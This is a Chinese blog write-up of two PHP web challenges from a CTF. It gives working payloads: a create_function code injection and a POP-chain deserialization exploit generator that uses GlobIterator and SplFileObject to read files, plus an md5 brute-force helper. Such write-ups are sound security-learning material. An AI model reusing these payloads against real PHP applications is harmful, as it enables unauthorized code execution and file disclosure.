目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. what’s my name
    2. 2.2. easy_unserialize(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

第六届安洵杯网络安全挑战赛

2023/12/23 CTF线上赛
  |     |   总文章阅读量:

前言

准备期末考去了,不能花太多时间,就看了下php的题

(怎么一天过去了)

laogong的wp:https://ycznkvrmzo.feishu.cn/docx/G17xduF91omE5nxgkgfc1W93nqb

Web

what’s my name

<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
        @$miao=create_function('$a, $b', $sort_function);
    }
    else{
        echo('Is That My Name?');
    }
}
else{
    echo("YOU Do Not Know What is My Name!");
}
?> 

题目版本php7.3.4

代码一行行看下来,首先是正则匹配:

判断 $d0g3 是否以匹配以include结尾,并且前面有以每5个字符为一组进行重复的字符串的情况(?实际测试好像又是另一回事)

然后进行比较

本地测试一下:

<?php
$d0g3=$_GET['d0g3'];
$name=$_GET['name']; 
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    echo(urlencode($miao));
    echo "<br>";
    echo(substr($miao, -2));
    var_dump(strlen($d0g3)==substr($miao, -2));
    echo "<br>";
    var_dump($miao===$name);
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
        @$miao=create_function('$a, $b', $sort_function);
    }
    else{
        echo('Is That My Name?');
    }
} 

image-20231223120839686

可以发现每执行一次php脚本生成匿名函数都会增加一次$miao的计数,注意$miao的开头是不可见字符%00

接下来就是命令执行create_function的部分,strnatcasecmp可以直接参考:https://www.cnblogs.com/-chenxs/p/11459374.html

最终payload:

?d0g3=include'"]);}phpinfo();/*&name=%00lambda_25

服务端有延迟,不知道到底执行了多少次,我这里直接爆破

image-20231223132044996


easy_unserialize(复现)

pop链+原生类

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

链子:You::__wakeup -> Luck::__unset -> Good::__isset -> To::__set -> Luck::__get -> To::__call -> Luck::__toString -> Flag::__invoke

接下来就是满足条件

首先是md5(md5($this->md5)) == 666,即开头为666

爆破一下:

import hashlib

def md5_hash(text):
    return hashlib.md5(text.encode()).hexdigest()

target_prefix = "666"
found = False

for i in range(1000000):
    # 将当前数字作为字符串进行MD5哈希两次
    text = str(i)
    hash1 = md5_hash(text)
    hash2 = md5_hash(hash1)

    # 检查哈希结果的开头是否为目标前缀
    if hash2.startswith(target_prefix):
        print("找到匹配的字符串:", text)
        found = True
        break

if not found:
    print("未找到匹配的字符串。")

结果为213

然后是preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",随便找一个可用字符给gg2就行

接下来是urldecode($this->arg1)===base64_decode($this->arg1),直接数组绕过就行

最后就是原生类调用,GlobIterator找文件路径,SplFileObject读取文件

emmm,死在了array_walk不会用

后日谈:直接在Flag类里面写一个对象名为原生类类名,值为要读的文件即可

exp:

<?php
class Good
{
    public $g1;
    private $gg2 = "%ff";
}
class Luck
{
    public $l1;
    public $ll2;
    private $md5 = 213;
    public $lll3;
}

class To
{
    public $t1;
    public $tt2;
    public $arg1 = array();
}
class You
{
    public $y1;
}
class Flag
{
    public $GlobIterator = "/*f*";
}
$a = new You();
$a->y1 = new Luck();
$a->y1->lll3 = new Good();
$a->y1->lll3->g1 = new To();
$a->y1->lll3->g1->tt2 = new Luck();
$a->y1->lll3->g1->tt2->ll2 = new To();
$a->y1->lll3->g1->tt2->ll2->arg1 = new Luck();
$a->y1->lll3->g1->tt2->ll2->arg1->l1 = new Flag();
echo (urlencode(serialize($a)));

也可以写成$a->y1->lll3->g1->tt2->ll2->arg1->l1->SplFileObject="/FfffLlllLaAaaggGgGg";

image-20231223231801917